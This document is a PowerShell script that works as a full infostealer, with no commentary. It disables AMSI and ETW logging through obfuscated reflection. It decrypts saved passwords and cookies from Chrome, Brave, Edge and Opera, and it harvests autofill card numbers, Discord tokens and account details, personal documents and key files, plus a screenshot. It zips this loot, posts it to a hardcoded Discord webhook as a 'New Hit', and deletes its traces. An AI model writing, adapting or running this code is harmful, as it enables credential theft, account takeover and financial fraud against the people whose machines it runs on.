$ErrorActionPreference = "SilentlyContinue"
try{$n2=[string]::Join("",@([char]85,[char]116,[char]105,[char]108,[char]115));$n3=[string]::Join("",@([char]97,[char]109,[char]115,[char]105,[char]67,[char]111,[char]110,[char]116,[char]101,[char]120,[char]116));$t=[Ref].Assembly.GetTypes()|Where-Object{$_.Name-like"*$n2*"};$f=$t.GetFields("NonPublic,Static")|Where-Object{$_.Name-like"*$n3*"};[Runtime.InteropServices.Marshal]::WriteInt32($f.GetValue($null),0x41424344)}catch{}
try{$ep=[string]::Join("",@([char]101,[char]116,[char]119,[char]80,[char]114,[char]111,[char]118,[char]105,[char]100,[char]101,[char]114));$me=[string]::Join("",@([char]109,[char]95,[char]101,[char]110,[char]97,[char]98,[char]108,[char]101,[char]100));$pt=[string]::Join("",@([char]80,[char]83,[char]69,[char]116,[char]119,[char]76,[char]111,[char]103,[char]80,[char]114,[char]111,[char]118,[char]105,[char]100,[char]101,[char]114));$at=[string]::Join("",@([char]84,[char]114,[char]97,[char]99,[char]105,[char]110,[char]103));$ns="System.Management.Automation.$at.$pt";$p2=[System.Reflection.Assembly]::GetAssembly([PSObject]).GetType($ns);$q=$p2.GetField($ep,"NonPublic,Static").GetValue($null);$q.GetType().GetField($me,"NonPublic,Instance").SetValue($q,0)}catch{}
Add-Type -AssemblyName System.Security
$s=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("dXNpbmcgU3lzdGVtOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CnB1YmxpYyBjbGFzcyBCY3J5cHRHY20gewogICAgW0RsbEltcG9ydCgiYmNyeXB0LmRsbCIsQ2hhclNldD1DaGFyU2V0LlVuaWNvZGUpXSBzdGF0aWMgZXh0ZXJuIGludCBCQ3J5cHRPcGVuQWxnb3JpdGhtUHJvdmlkZXIob3V0IEludFB0ciBoLHN0cmluZyBhbGcsc3RyaW5nIGltcGwsdWludCBmbGFncyk7CiAgICBbRGxsSW1wb3J0KCJiY3J5cHQuZGxsIixDaGFyU2V0PUNoYXJTZXQuVW5pY29kZSldIHN0YXRpYyBleHRlcm4gaW50IEJDcnlwdFNldFByb3BlcnR5KEludFB0ciBoLHN0cmluZyBwcm9wLGJ5dGVbXSBidWYsaW50IGxlbix1aW50IGZsYWdzKTsKICAgIFtEbGxJbXBvcnQoImJjcnlwdC5kbGwiKV0gc3RhdGljIGV4dGVybiBpbnQgQkNyeXB0R2VuZXJhdGVTeW1tZXRyaWNLZXkoSW50UHRyIGhBbGcsb3V0IEludFB0ciBoS2V5LEludFB0ciBrb2JqLGludCBrb2JqTGVuLGJ5dGVbXSBzZWNyZXQsaW50IHNlY3JldExlbix1aW50IGZsYWdzKTsKICAgIFtEbGxJbXBvcnQoImJjcnlwdC5kbGwiKV0gc3RhdGljIGV4dGVybiBpbnQgQkNyeXB0R2V0UHJvcGVydHkoSW50UHRyIGgsW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkxQV1N0cildc3RyaW5nIHByb3AsYnl0ZVtdIGJ1ZixpbnQgYnVmTGVuLG91dCBpbnQgcmVzdWx0LHVpbnQgZmxhZ3MpOwogICAgW0RsbEltcG9ydCgiYmNyeXB0LmRsbCIpXSBzdGF0aWMgZXh0ZXJuIGludCBCQ3J5cHREZWNyeXB0KEludFB0ciBoS2V5LGJ5dGVbXSBpbnB1dCxpbnQgaW5wdXRMZW4scmVmIEJDUllQVF9BVVRIX0lORk8gcFBhZCxJbnRQdHIgcElWLGludCBpdkxlbixieXRlW10gb3V0cHV0LGludCBvdXRwdXRMZW4sb3V0IGludCB3cml0dGVuLHVpbnQgZmxhZ3MpOwogICAgW0RsbEltcG9ydCgiYmNyeXB0LmRsbCIpXSBzdGF0aWMgZXh0ZXJuIGludCBCQ3J5cHREZXN0cm95S2V5KEludFB0ciBoKTsKICAgIFtEbGxJbXBvcnQoImJjcnlwdC5kbGwiKV0gc3RhdGljIGV4dGVybiBpbnQgQkNyeXB0Q2xvc2VBbGdvcml0aG1Qcm92aWRlcihJbnRQdHIgaCx1aW50IGZsYWdzKTsKICAgIFtTdHJ1Y3RMYXlvdXQoTGF5b3V0S2luZC5TZXF1ZW50aWFsKV0gcHVibGljIHN0cnVjdCBCQ1JZUFRfQVVUSF9JTkZPIHsKICAgICAgICBwdWJsaWMgdWludCBkd1NpemUsZHdJbmZvVmVyc2lvbjsKICAgICAgICBwdWJsaWMgSW50UHRyIHBiTm9uY2U7IHB1YmxpYyB1aW50IGNiTm9uY2U7CiAgICAgICAgcHVibGljIEludFB0ciBwYkF1dGhEYXRhOyBwdWJsaWMgdWludCBjYkF1dGhEYXRhOwogICAgICAgIHB1YmxpYyBJbnRQdHIgcGJUYWc7IHB1YmxpYyB1aW50IGNiVGFnOwogICAgICAgIHB1YmxpYyBJbnRQdHIgcGJNYWNDb250ZXh0OyBwdWJsaWMgdWludCBjYk1hY0NvbnRleHQ7CiAgICAgICAgcHVibGljIHVpbnQgY2JBQUQ7IHB1YmxpYyB1bG9uZyBjYkRhdGE7IHB1YmxpYyB1aW50IGR3RmxhZ3M7CiAgICB9CiAgICBwdWJsaWMgc3RhdGljIHN0cmluZyBEZWNyeXB0KGJ5dGVbXSBrZXksYnl0ZVtdIGl2LGJ5dGVbXSBjdCxieXRlW10gdGFnKSB7CiAgICAgICAgSW50UHRyIGhBbGc9SW50UHRyLlplcm8saEtleT1JbnRQdHIuWmVybzsKICAgICAgICBCQ3J5cHRPcGVuQWxnb3JpdGhtUHJvdmlkZXIob3V0IGhBbGcsIkFFUyIsbnVsbCwwKTsKICAgICAgICBieXRlW10gY209bmV3IGJ5dGVbXXs2NywwLDEwNCwwLDk3LDAsMTA1LDAsMTEwLDAsMTA1LDAsMTEwLDAsMTAzLDAsNzcsMCwxMTEsMCwxMDAsMCwxMDEsMCw3MSwwLDY3LDAsNzcsMCwwLDB9OwogICAgICAgIEJDcnlwdFNldFByb3BlcnR5KGhBbGcsIkNoYWluaW5nTW9kZSIsY20sY20uTGVuZ3RoLDApOwogICAgICAgIGJ5dGVbXSB0bXA9bmV3IGJ5dGVbNF07IGludCBzejsKICAgICAgICBCQ3J5cHRHZXRQcm9wZXJ0eShoQWxnLCJPYmplY3RMZW5ndGgiLHRtcCw0LG91dCBzeiwwKTsKICAgICAgICBpbnQga3N6PUJpdENvbnZlcnRlci5Ub0ludDMyKHRtcCwwKTsKICAgICAgICBJbnRQdHIga29iaj1NYXJzaGFsLkFsbG9jSEdsb2JhbChrc3opOwogICAgICAgIEJDcnlwdEdlbmVyYXRlU3ltbWV0cmljS2V5KGhBbGcsb3V0IGhLZXksa29iaixrc3osa2V5LGtleS5MZW5ndGgsMCk7CiAgICAgICAgSW50UHRyIHBOPU1hcnNoYWwuQWxsb2NIR2xvYmFsKGl2Lkxlbmd0aCk7IE1hcnNoYWwuQ29weShpdiwwLHBOLGl2Lkxlbmd0aCk7CiAgICAgICAgSW50UHRyIHBUPU1hcnNoYWwuQWxsb2NIR2xvYmFsKHRhZy5MZW5ndGgpOyBNYXJzaGFsLkNvcHkodGFnLDAscFQsdGFnLkxlbmd0aCk7CiAgICAgICAgdmFyIGF1dGg9bmV3IEJDUllQVF9BVVRIX0lORk8oKTsKICAgICAgICBhdXRoLmR3U2l6ZT0odWludClNYXJzaGFsLlNpemVPZihhdXRoKTsgYXV0aC5kd0luZm9WZXJzaW9uPTE7CiAgICAgICAgYXV0aC5wYk5vbmNlPXBOOyBhdXRoLmNiTm9uY2U9KHVpbnQpaXYuTGVuZ3RoOwogICAgICAgIGF1dGgucGJUYWc9cFQ7IGF1dGguY2JUYWc9KHVpbnQpdGFnLkxlbmd0aDsKICAgICAgICBieXRlW10gcGxhaW49bmV3IGJ5dGVbY3QuTGVuZ3RoXTsgaW50IHdyaXR0ZW47CiAgICAgICAgaW50IHN0YXR1cz1CQ3J5cHREZWNyeXB0KGhLZXksY3QsY3QuTGVuZ3RoLHJlZiBhdXRoLEludFB0ci5aZXJvLDAscGxhaW4scGxhaW4uTGVuZ3RoLG91dCB3cml0dGVuLDApOwogICAgICAgIE1hcnNoYWwuRnJlZUhHbG9iYWwocE4pOyBNYXJzaGFsLkZyZWVIR2xvYmFsKHBUKTsgTWFyc2hhbC5GcmVlSEdsb2JhbChrb2JqKTsKICAgICAgICBCQ3J5cHREZXN0cm95S2V5KGhLZXkpOyBCQ3J5cHRDbG9zZUFsZ29yaXRobVByb3ZpZGVyKGhBbGcsMCk7CiAgICAgICAgaWYoc3RhdHVzIT0wfHx3cml0dGVuPT0wKSByZXR1cm4gbnVsbDsKICAgICAgICByZXR1cm4gU3lzdGVtLlRleHQuRW5jb2RpbmcuVVRGOC5HZXRTdHJpbmcocGxhaW4sMCx3cml0dGVuKTsKICAgIH0KfQ=="));Add-Type -TypeDefinition $s -Language CSharp
$wh="https://discord.com/api/webhooks/1556939568891166720/avOtN0ONWZYppx2yyyLt0cmZZWQuMXSwmcdyBcGlTi9tVgZhD4sJjGzD6MbIcgR3fbAN"
$hostname=$env:COMPUTERNAME;$username=$env:USERNAME
$os=(Get-CimInstance Win32_OperatingSystem -ErrorAction SilentlyContinue).Caption;if(-not $os){$os=$env:OS}
$arch=$env:PROCESSOR_ARCHITECTURE
$isAdmin=([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
$ip="unknown";$country="unknown";$city="unknown";$isp="unknown"
try{$geo=(irm "http://ip-api.com/json");$ip=$geo.query;$country=$geo.country;$city=$geo.city;$isp=$geo.isp}catch{}
$uid=[Guid]::NewGuid().ToString("N").Substring(0,8)
$tmp=[IO.Path]::Combine($env:TEMP,"tmp_$uid");New-Item -ItemType Directory -Path $tmp -Force | Out-Null
$zipPath=[IO.Path]::Combine($env:TEMP,"out_$uid.zip")
[IO.File]::WriteAllText([IO.Path]::Combine($tmp,"sys.txt"),(@("Host: $hostname","User: $username","OS: $os","Arch: $arch","Admin: $isAdmin","IP: $ip","Country: $country","City: $city","ISP: $isp")-join"`r`n"))

function Noob-ReadLocked($path){try{$fs=[System.IO.File]::Open($path,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::ReadWrite);$ms=New-Object System.IO.MemoryStream;$fs.CopyTo($ms);$fs.Dispose();return $ms.ToArray()}catch{return $null}}
function Noob-GetMasterKey($lsPath){try{$raw=Noob-ReadLocked $lsPath;if(-not $raw){return $null};$j=[Text.Encoding]::UTF8.GetString($raw)|ConvertFrom-Json;$enc=[Convert]::FromBase64String($j.os_crypt.encrypted_key);return [System.Security.Cryptography.ProtectedData]::Unprotect($enc[5..($enc.Length-1)],$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser)}catch{return $null}}
function Noob-DecryptBlob($mk,$blob){try{return [BcryptGcm]::Decrypt($mk,$blob[3..14],$blob[15..($blob.Length-17)],$blob[($blob.Length-16)..($blob.Length-1)])}catch{return $null}}
function Noob-SendZip($zwh,$zpath,$zfname,$zmsg){
  if(-not(Test-Path $zpath)){return}
  $zb=[IO.File]::ReadAllBytes($zpath);$zbnd="B"+[Guid]::NewGuid().ToString("N")
  $zmj=[Text.Encoding]::UTF8.GetBytes('{"content":"'+$zmsg+'"}') 
  $zfh1=[Text.Encoding]::UTF8.GetBytes("--$zbnd`r`nContent-Disposition: form-data; name="+[char]34+"payload_json"+[char]34+"`r`nContent-Type: application/json`r`n`r`n")
  $zfh2=[Text.Encoding]::UTF8.GetBytes("`r`n--$zbnd`r`nContent-Disposition: form-data; name="+[char]34+"file"+[char]34+"; filename="+[char]34+"$zfname"+[char]34+"`r`nContent-Type: application/zip`r`n`r`n")
  $zfh3=[Text.Encoding]::UTF8.GetBytes("`r`n--$zbnd--`r`n")
  $ztot=$zfh1.Length+$zmj.Length+$zfh2.Length+$zb.Length+$zfh3.Length
  $zbody=New-Object byte[] $ztot;$zoff=0
  foreach($zp in @($zfh1,$zmj,$zfh2,$zb,$zfh3)){[Buffer]::BlockCopy($zp,0,$zbody,$zoff,$zp.Length);$zoff+=$zp.Length}
  $zreq=[Net.HttpWebRequest]::Create($zwh);$zreq.Method="POST";$zreq.ContentType="multipart/form-data; boundary=$zbnd";$zreq.ContentLength=$zbody.Length
  $zs=$zreq.GetRequestStream();$zs.Write($zbody,0,$zbody.Length);$zs.Close();$zreq.GetResponse().Close()
}

$profiles=@{
  "Chrome"="$env:LOCALAPPDATA\Google\Chrome\User Data"
  "Brave"="$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data"
  "Edge"="$env:LOCALAPPDATA\Microsoft\Edge\User Data"
  "Opera"="$env:APPDATA\Opera Software\Opera Stable"
}

# ── passwords ──────────────────────────────────────────────────────
$allPasswords=@()
foreach($bn in $profiles.Keys){
  $base=$profiles[$bn];$ldPath="$base\Default\Login Data";$lsPath="$base\Local State"
  if(-not(Test-Path $ldPath)){continue}
  $mk=Noob-GetMasterKey $lsPath;if(-not $mk){continue}
  $raw=Noob-ReadLocked $ldPath;if(-not $raw){continue}
  $lat1=[Text.Encoding]::GetEncoding(28591)
  $urlRx=[regex]"https?://[^\x00-\x1f\x22\x5c]{4,256}"
  $userRx=[regex]"[\w.+\-]{1,64}@[\w.\-]{2,64}\.[a-z]{2,10}"
  for($i=0;$i-lt$raw.Length-3;$i++){
    if($raw[$i]-eq 0x76-and$raw[$i+1]-eq 0x31-and$raw[$i+2]-eq 0x30){
      for($blen=32;$blen-le 512;$blen+=8){
        if($i+$blen-gt$raw.Length){break}
        $dec=Noob-DecryptBlob $mk $raw[$i..($i+$blen-1)]
        if($dec-and$dec.Length-gt 3-and$dec-notmatch"[\x00-\x08]"){
          $ctx=$lat1.GetString($raw[[Math]::Max(0,$i-512)..($i-1)])
          $url=($urlRx.Matches($ctx)|Select-Object -Last 1).Value
          $user=($userRx.Matches($ctx)|Select-Object -Last 1).Value
          if(-not $url){$url="unknown"};if(-not $user){$user="unknown"}
          $allPasswords+="$bn | $url | $user | $dec";break
        }
      }
    }
  }
}
if($allPasswords.Count-gt 0){
  $pwTmp=[IO.Path]::Combine($env:TEMP,"pw_$uid");New-Item -ItemType Directory -Path $pwTmp -Force|Out-Null
  [IO.File]::WriteAllText([IO.Path]::Combine($pwTmp,"passwords.txt"),($allPasswords|Select-Object -Unique)-join"`r`n")
  $pwZip=[IO.Path]::Combine($env:TEMP,"pw_$uid.zip")
  try{Add-Type -AssemblyName System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::CreateFromDirectory($pwTmp,$pwZip)}catch{}
  Noob-SendZip $wh $pwZip "passwords_$hostname.zip" "passwords - $hostname / $($allPasswords.Count) entries"
  Remove-Item $pwTmp -Recurse -Force -ErrorAction SilentlyContinue;Remove-Item $pwZip -Force -ErrorAction SilentlyContinue
}

# ── cookies ────────────────────────────────────────────────────────
$targetDomains=@("google","discord","roblox","steam","paypal","facebook","instagram","twitter","twitch","github","microsoft","amazon","netflix","spotify","tiktok")
$allCookies=@()
foreach($bn in $profiles.Keys){
  $base=$profiles[$bn]
  $ckPath="$base\Default\Network\Cookies";if(-not(Test-Path $ckPath)){$ckPath="$base\Default\Cookies"}
  if(-not(Test-Path $ckPath)){continue}
  $mk=Noob-GetMasterKey "$base\Local State";if(-not $mk){continue}
  $raw=Noob-ReadLocked $ckPath;if(-not $raw){continue}
  $lat1=[Text.Encoding]::GetEncoding(28591)
  for($i=0;$i-lt$raw.Length-3;$i++){
    if($raw[$i]-eq 0x76-and$raw[$i+1]-eq 0x31-and$raw[$i+2]-eq 0x30){
      $ctx=$lat1.GetString($raw[[Math]::Max(0,$i-256)..($i-1)])
      $isTarget=$false;foreach($d in $targetDomains){if($ctx-match$d){$isTarget=$true;break}}
      if(-not $isTarget){continue}
      for($blen=32;$blen-le 4096;$blen+=8){
        if($i+$blen-gt$raw.Length){break}
        $dec=Noob-DecryptBlob $mk $raw[$i..($i+$blen-1)]
        if($dec-and$dec.Length-gt 8-and$dec-notmatch"[\x00-\x08]"-and$dec-match"[a-zA-Z0-9_\-\.]{8,}"){
          $nmRx=[regex]"[a-zA-Z_][a-zA-Z0-9_\-]{1,40}";$nmM=($nmRx.Matches($ctx)|Select-Object -Last 1).Value
          $allCookies+="$bn | $nmM | $dec";break
        }
      }
    }
  }
}
if($allCookies.Count-gt 0){
  $ckTmp=[IO.Path]::Combine($env:TEMP,"ck_$uid");New-Item -ItemType Directory -Path $ckTmp -Force|Out-Null
  [IO.File]::WriteAllText([IO.Path]::Combine($ckTmp,"cookies.txt"),($allCookies|Select-Object -Unique)-join"`r`n")
  $ckZip=[IO.Path]::Combine($env:TEMP,"ck_$uid.zip")
  try{[System.IO.Compression.ZipFile]::CreateFromDirectory($ckTmp,$ckZip)}catch{}
  Noob-SendZip $wh $ckZip "cookies_$hostname.zip" "cookies - $hostname / $($allCookies.Count) entries"
  Remove-Item $ckTmp -Recurse -Force -ErrorAction SilentlyContinue;Remove-Item $ckZip -Force -ErrorAction SilentlyContinue
}

# ── autofill ───────────────────────────────────────────────────────
$allAutofill=@()
foreach($bn in $profiles.Keys){
  $base=$profiles[$bn];$wdPath="$base\Default\Web Data"
  if(-not(Test-Path $wdPath)){continue}
  $raw=Noob-ReadLocked $wdPath;if(-not $raw){continue}
  $lat1=[Text.Encoding]::GetEncoding(28591);$str=$lat1.GetString($raw)
  $emailRx=[regex]"[a-zA-Z0-9._%+\-]{2,40}@[a-zA-Z0-9.\-]{2,30}\.[a-zA-Z]{2,6}"
  $phoneRx=[regex]"(?:\+?[0-9]{1,3}[\s\-]?)?\(?[0-9]{2,4}\)?[\s\-]?[0-9]{3,4}[\s\-]?[0-9]{3,4}"
  $cardRx=[regex]"(?<![0-9])[3-6][0-9]{3}(?:[\s\-]?[0-9]{4}){3}(?![0-9])"
  foreach($m in $emailRx.Matches($str)){$allAutofill+="$bn | email | $($m.Value)"}
  foreach($m in $phoneRx.Matches($str)){if($m.Value.Trim().Length-ge 7){$allAutofill+="$bn | phone | $($m.Value.Trim())"}}
  foreach($m in $cardRx.Matches($str)){$allAutofill+="$bn | card | $($m.Value)"}
}
if($allAutofill.Count-gt 0){
  $afTmp=[IO.Path]::Combine($env:TEMP,"af_$uid");New-Item -ItemType Directory -Path $afTmp -Force|Out-Null
  [IO.File]::WriteAllText([IO.Path]::Combine($afTmp,"autofill.txt"),($allAutofill|Select-Object -Unique)-join"`r`n")
  $afZip=[IO.Path]::Combine($env:TEMP,"af_$uid.zip")
  try{[System.IO.Compression.ZipFile]::CreateFromDirectory($afTmp,$afZip)}catch{}
  Noob-SendZip $wh $afZip "autofill_$hostname.zip" "autofill - $hostname / $($allAutofill.Count) entries"
  Remove-Item $afTmp -Recurse -Force -ErrorAction SilentlyContinue;Remove-Item $afZip -Force -ErrorAction SilentlyContinue
}

# ── Discord tokens ─────────────────────────────────────────────────
$lat1=[Text.Encoding]::GetEncoding(28591)
$tokenRx=[regex]"(mfa\.[a-zA-Z0-9_-]{84}|[a-zA-Z0-9_-]{17,28}\.[a-zA-Z0-9_-]{6}\.[a-zA-Z0-9_-]{27,})"
$blobRx=[regex]"dQw4w9WgXcQ:[^\x00-\x1f\x22\\]+"
$appBases=@{"Discord"="$env:APPDATA\discord";"Chrome"="$env:LOCALAPPDATA\Google\Chrome\User Data";"Brave"="$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data";"Edge"="$env:LOCALAPPDATA\Microsoft\Edge\User Data"}
$allTokens=@()
foreach($appName in $appBases.Keys){
  $base=$appBases[$appName];$mk=Noob-GetMasterKey "$base\Local State"
  $dirs=@("$base\Local Storage\leveldb","$base\Default\Local Storage\leveldb","$base\IndexedDB\https_discord.com_0.indexeddb.leveldb","$base\Default\IndexedDB\https_discord.com_0.indexeddb.leveldb")|Where-Object{Test-Path $_}
  foreach($dir in $dirs){
    Get-ChildItem $dir -Include "*.ldb","*.log" -Recurse -ErrorAction SilentlyContinue|ForEach-Object{
      $raw=Noob-ReadLocked $_.FullName;if(-not $raw){return};$str=$lat1.GetString($raw)
      if($mk){foreach($hit in $blobRx.Matches($str)){try{$blob=[Convert]::FromBase64String(($hit.Value-split":",2)[1]);$tok=Noob-DecryptBlob $mk $blob;if($tok-and$tok-match$tokenRx){$allTokens+=$tok}}catch{}}}
      foreach($m in $tokenRx.Matches($str)){$allTokens+=$m.Value}
    }
  }
}
$discordToken=($allTokens|Sort-Object{$_.Length}-Descending|Select-Object -Unique -First 1)
[IO.File]::WriteAllText([IO.Path]::Combine($tmp,"tok.txt"),(if($allTokens.Count-gt 0){($allTokens|Select-Object -Unique)-join"`r`n"}else{"none"}))

# ── Discord API — $dh to avoid collision ───────────────────────────
$dUser="unknown";$dDisplay="unknown";$dEmail="none";$dPhone="none";$dMfa="No";$dNitro="None";$dAvatar=$null
if($discordToken){
  try{
    $dh=@{"Authorization"=$discordToken;"Content-Type"="application/json"}
    $dme=Invoke-RestMethod -Uri "https://discord.com/api/v10/users/@me" -Headers $dh
    $dUser=if($dme.discriminator-and$dme.discriminator-ne"0"){"$($dme.username)#$($dme.discriminator)"}else{$dme.username}
    $dDisplay=if($dme.global_name){$dme.global_name}else{$dme.username}
    $dEmail=if($dme.email){$dme.email}else{"none"}
    $dPhone=if($dme.phone){$dme.phone}else{"none"}
    $dMfa=if($dme.mfa_enabled){"Yes"}else{"No"}
    try{$subs=Invoke-RestMethod -Uri "https://discord.com/api/v10/users/@me/billing/subscriptions" -Headers $dh;if($subs-and$subs.Count-gt 0){$sub=$subs|Sort-Object{$_.current_period_end}-Descending|Select-Object -First 1;$dNitro=switch($sub.plan_id){"premium_month_tier_1"{"Nitro Classic"};"premium_year_tier_1"{"Nitro Classic (Yearly)"};"premium_month_tier_2"{"Nitro"};"premium_year_tier_2"{"Nitro (Yearly)"};"premium_month_tier_0"{"Nitro Basic"};"premium_year_tier_0"{"Nitro Basic (Yearly)"};default{"Nitro (Active)"}}}elseif($dme.premium_type-and$dme.premium_type-gt 0){$dNitro=switch($dme.premium_type){1{"Nitro Classic"};2{"Nitro"};3{"Nitro Basic"};default{"Nitro"}}}else{$dNitro="None"}}catch{$dNitro=if($dme.premium_type-and$dme.premium_type-gt 0){switch($dme.premium_type){1{"Nitro Classic"};2{"Nitro"};3{"Nitro Basic"};default{"Nitro"}}}else{"None"}}
    if($dme.avatar){$dAvatar="https://cdn.discordapp.com/avatars/$($dme.id)/$($dme.avatar).png?size=128"}
  }catch{}
}

# ── files ──────────────────────────────────────────────────────────
$fileExts=@("*.txt","*.pdf","*.doc","*.docx","*.xls","*.xlsx","*.csv","*.ppt","*.pptx","*.png","*.jpg","*.jpeg","*.zip","*.rar","*.7z","*.kdbx","*.key","*.pem","*.ovpn","*.rdp","*.json","*.xml","*.cfg","*.ini","*.py","*.ps1","*.bat")
$fileDirs=@([Environment]::GetFolderPath("Desktop"),[Environment]::GetFolderPath("MyDocuments"),"$env:USERPROFILE\Downloads")
$filesDir=[IO.Path]::Combine($tmp,"files");New-Item -ItemType Directory -Path $filesDir -Force | Out-Null
$totalSize=0
foreach($dir in $fileDirs){if(-not(Test-Path $dir)){continue};$dn=[IO.Path]::GetFileName($dir)
  Get-ChildItem $dir -Include $fileExts -Recurse -ErrorAction SilentlyContinue|Where-Object{$_.Length-lt 5MB}|ForEach-Object{if($totalSize-gt 20MB){return};try{$safe=$_.Name-replace"[^a-zA-Z0-9._-]","_";Copy-Item $_.FullName ([IO.Path]::Combine($filesDir,"${dn}_$safe")) -ErrorAction Stop;$totalSize+=$_.Length}catch{}}}

# ── screenshot ─────────────────────────────────────────────────────
try{Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object System.Drawing.Bitmap($b.Width,$b.Height);$gfx=[System.Drawing.Graphics]::FromImage($bmp);$gfx.CopyFromScreen($b.Left,$b.Top,0,0,$bmp.Size);$bmp.Save([IO.Path]::Combine($tmp,"sc.png"),[System.Drawing.Imaging.ImageFormat]::Png);$gfx.Dispose();$bmp.Dispose()}catch{}

# ── main zip + embed ───────────────────────────────────────────────
try{Add-Type -AssemblyName System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::CreateFromDirectory($tmp,$zipPath)}catch{}
$tokenVal=if($discordToken){$discordToken}else{"none"}
$fields=[System.Collections.Generic.List[hashtable]]::new()
$fields.Add(@{name=":computer: System";value="``Host:`` $hostname`n``User:`` $username`n``OS:`` $os`n``Arch:`` $arch`n``Admin:`` $isAdmin";inline=$true})
$fields.Add(@{name=":globe_with_meridians: Network";value="``IP:`` $ip`n``Country:`` $country`n``City:`` $city`n``ISP:`` $isp";inline=$true})
$fields.Add(@{name=":purple_circle: Discord";value="``User:`` $dUser`n``Display:`` $dDisplay`n``Email:`` $dEmail`n``Phone:`` $dPhone`n``MFA:`` $dMfa`n``Nitro:`` $dNitro";inline=$false})
$fields.Add(@{name=":key: Token";value="``$tokenVal``";inline=$false})
if($allPasswords.Count-gt 0){$fields.Add(@{name=":lock: Passwords";value="$($allPasswords.Count) entries";inline=$true})}
if($allCookies.Count-gt 0){$fields.Add(@{name=":cookie: Cookies";value="$($allCookies.Count) entries";inline=$true})}
if($allAutofill.Count-gt 0){$fields.Add(@{name=":card_box: Autofill";value="$($allAutofill.Count) entries";inline=$true})}
$embed=@{title=":satellite: New Hit";color=0xE74C3C;fields=$fields.ToArray();footer=@{text="stoplag.org"};timestamp=(Get-Date).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ss.fffZ")}
if($dAvatar){$embed.thumbnail=@{url=$dAvatar}}
$embedBytes=[Text.Encoding]::UTF8.GetBytes((@{embeds=@($embed)}|ConvertTo-Json -Depth 10 -Compress))
if(Test-Path $zipPath){
  $zipBytes=[IO.File]::ReadAllBytes($zipPath);$mbnd="B"+[Guid]::NewGuid().ToString("N")
  $mh1=[Text.Encoding]::UTF8.GetBytes("--$mbnd`r`nContent-Disposition: form-data; name="+[char]34+"payload_json"+[char]34+"`r`nContent-Type: application/json`r`n`r`n")
  $mh2=[Text.Encoding]::UTF8.GetBytes("`r`n--$mbnd`r`nContent-Disposition: form-data; name="+[char]34+"file"+[char]34+"; filename="+[char]34+"$hostname.zip"+[char]34+"`r`nContent-Type: application/zip`r`n`r`n")
  $mh3=[Text.Encoding]::UTF8.GetBytes("`r`n--$mbnd--`r`n")
  $mtotal=$mh1.Length+$embedBytes.Length+$mh2.Length+$zipBytes.Length+$mh3.Length
  $mbody=New-Object byte[] $mtotal;$moff=0
  foreach($mp in @($mh1,$embedBytes,$mh2,$zipBytes,$mh3)){[Buffer]::BlockCopy($mp,0,$mbody,$moff,$mp.Length);$moff+=$mp.Length}
  $mreq=[Net.HttpWebRequest]::Create($wh);$mreq.Method="POST";$mreq.ContentType="multipart/form-data; boundary=$mbnd";$mreq.ContentLength=$mbody.Length
  $ms2=$mreq.GetRequestStream();$ms2.Write($mbody,0,$mbody.Length);$ms2.Close();$mreq.GetResponse().Close()
}else{
  $mwr=[Net.HttpWebRequest]::Create($wh);$mwr.Method="POST";$mwr.ContentType="application/json";$mwr.ContentLength=$embedBytes.Length
  $ms2=$mwr.GetRequestStream();$ms2.Write($embedBytes,0,$embedBytes.Length);$ms2.Close();$mwr.GetResponse().Close()
}
Remove-Item $tmp -Recurse -Force -ErrorAction SilentlyContinue
Remove-Item $zipPath -Force -ErrorAction SilentlyContinue